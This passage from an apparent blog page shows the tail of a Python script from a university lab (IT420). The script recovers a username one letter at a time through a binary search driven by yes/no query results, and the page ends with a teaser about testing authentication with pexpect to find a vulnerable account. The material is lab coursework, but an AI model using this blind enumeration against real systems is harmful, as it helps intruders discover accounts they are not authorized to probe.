            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='s'
            secondletter='s'
        elif successful == "No" and firstletter=='s' and secondletter=='s':     # if n-t and r-t and not s then t
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='t'
            secondletter='t'
        elif successful == "Yes" and firstletter=='n' and secondletter=='q':     # if n-q then n
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='n'
            secondletter='n'
        elif successful == "Yes" and firstletter=='a' and secondletter=='g':     # if a-m and a-g then a-d
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='a'
            secondletter='d'
        elif successful == "No" and firstletter=='a' and secondletter=='g':     # if a-m and not a-g then h-m
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='h'
            secondletter='m'
        elif successful == "Yes" and firstletter=='h' and secondletter=='m':     # if a-m and h-m then h-j
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='h'
            secondletter='j'
        elif successful == "No" and firstletter=='h' and secondletter=='j':     # if a-m and h-m not h-j then k-m
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='k'
            secondletter='m'
        elif successful == "Yes" and firstletter=='k' and secondletter=='m':     # if a-m and h-m and k-m then k
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='k'
            secondletter='k'
        elif successful == "No" and firstletter=='k' and secondletter=='k':     # if a-m and h-m and k-m not k then l
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='l'
            secondletter='l'
        elif successful == "No" and firstletter=='l' and secondletter=='l':     # if a-m and h-m and k-m not l then m
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='m'
            secondletter='m'
        elif successful == "Yes" and firstletter=='h' and secondletter=='j':     # if a-m and h-m and h-j then h
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='h'
            secondletter='h'
        elif successful == "No" and firstletter=='h' and secondletter=='h':     # if a-m and h-m and h-j not h then i
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='i'
            secondletter='i'
        elif successful == "No" and firstletter=='i' and secondletter=='i':     # if a-m and h-m and h-j not i then j
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='j'
            secondletter='j'
        elif successful == "Yes" and firstletter=='a' and secondletter=='d':     # if a-m and a-g and a-d then a
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='a'
            secondletter='a'
        elif successful == "No" and firstletter=='a' and secondletter=='a':     # if a-m and a-g and a-d not a then b
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='b'
            secondletter='b'
        elif successful == "No" and firstletter=='b' and secondletter=='b':     # if a-m and a-g and a-d not b then c
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='c'
            secondletter='c'
        elif successful == "No" and firstletter=='c' and secondletter=='c':     # if a-m and a-g and a-d not c then d
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='d'
            secondletter='d'
        elif successful == "Yes" and firstletter==secondletter:     # if a-m and a-g and a-d then d
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            usernameSegment = usernameSegment + firstletter
            firstletter='a'
            secondletter='m'
            usernameSegmentCount += 1
        else:
            comment = "Finished!"
            case = "Quit"
        print(comment)





for letter in 'abcdefghijklmnopqrstuvwxyz':
    main(letter)




b

Test Authentication from Linux Console using python3 pexpect

Working with the IT420 lab, you will discover that we need to discover a vulnerable user account.  The following python3 script uses the pex...